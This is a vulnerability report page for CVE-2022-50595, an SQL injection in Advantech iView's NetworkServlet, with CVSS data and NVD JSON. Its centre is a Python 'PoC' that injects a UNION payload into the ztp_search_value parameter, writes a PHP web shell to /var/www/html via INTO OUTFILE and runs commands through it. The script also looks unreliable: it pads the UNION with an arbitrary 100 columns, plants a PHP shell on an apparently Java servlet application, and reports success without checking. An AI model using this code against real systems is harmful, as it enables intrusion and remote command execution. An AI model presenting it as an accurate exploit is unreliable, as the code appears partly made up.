Security Vulnerability Report
中文
CVE-2022-50595 CVSS 7.2 HIGH

CVE-2022-50595

Published: 2025-11-06 20:15:38
Last Modified: 2025-11-24 18:14:17

Description

Advantech iView versions prior to v5.7.04 build 6425 contain a vulnerability within the SNMP management tool that allows for remote attackers to bypass authentication checks and reach a SQL injection vulnerability within the ‘ztp_search_value’ parameter to the ‘NetworkServlet’ endpoint. Successful exploitation allows for remote code execution with administrator privileges.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:advantech:iview:*:*:*:*:*:*:*:* - VULNERABLE
Advantech iView < 5.7.04 build 6425

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2022-50595 PoC - Advantech iView SQL Injection RCE # Target: Advantech iView < v5.7.04 build 6425 # Author: VulnCheck / Exodus Intelligence import requests import sys TARGET = "http://target:8080" def exploit_sqli(target): """SQL Injection to RCE via ztp_search_value parameter""" # Step 1: Authentication Bypass + SQL Injection # The ztp_search_value parameter is vulnerable to SQL injection # Attackers can use UNION-based injection to extract data endpoint = f"{target}/NetworkServlet" # Malicious payload for SQL injection # This extracts MySQL user/password hash for further exploitation sqli_payload = "' UNION SELECT 1,2,user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100 --" params = { "ztp_search_value": sqli_payload, "ztp_search_field": "some_field" } try: response = requests.get(endpoint, params=params, timeout=30) print(f"[*] Request sent to {endpoint}") print(f"[*] Status: {response.status_code}") if response.status_code == 200: # Parse response for extracted data print(f"[+] SQL Injection successful - Data extracted") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False return False def write_web_shell(target): """Write web shell via SQL injection for RCE""" # Use INTO OUTFILE to write PHP shell shell_payload = "' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php' --" endpoint = f"{target}/NetworkServlet" params = { "ztp_search_value": shell_payload } try: response = requests.get(endpoint, params=params, timeout=30) print(f"[*] Attempting to write web shell...") return True except: return False def execute_command(target, cmd): """Execute system command via web shell""" shell_url = f"{target}/shell.php" try: response = requests.get(shell_url, params={"cmd": cmd}, timeout=30) return response.text except: return None if __name__ == "__main__": print("CVE-2022-50595 Advantech iView SQL Injection RCE PoC") print("=" * 60) if len(sys.argv) > 1: target = sys.argv[1] else: target = TARGET print(f"[*] Target: {target}") # Exploit the vulnerability if exploit_sqli(target): print("[+] Vulnerability confirmed!") write_web_shell(target) print("[+] Web shell written, RCE achieved")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2022-50595", "sourceIdentifier": "[email protected]", "published": "2025-11-06T20:15:38.070", "lastModified": "2025-11-24T18:14:17.173", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Advantech iView versions prior to v5.7.04 build 6425 contain a vulnerability within the SNMP management tool that allows for remote attackers to bypass authentication checks and reach a SQL injection vulnerability within the ‘ztp_search_value’ parameter to the ‘NetworkServlet’ endpoint. Successful exploitation allows for remote code execution with administrator privileges."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}, {"lang": "en", "value": "CWE-306"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:advantech:iview:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.7.04.6425", "matchCriteriaId": "8F719357-8063-4CD2-8275-57FC01CB52A1"}]}]}], "references": [{"url": "https://blog.exodusintel.com/2022/03/01/advantech-iview-ztp_search_value-parameter-sql-injection-remote-code-execution-vulnerability/", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.advantech.tw/support/details/firmware?id=1-HIPU-183", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/advantech-iview-ztpsearchvalue-parameter-sqli-rce", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}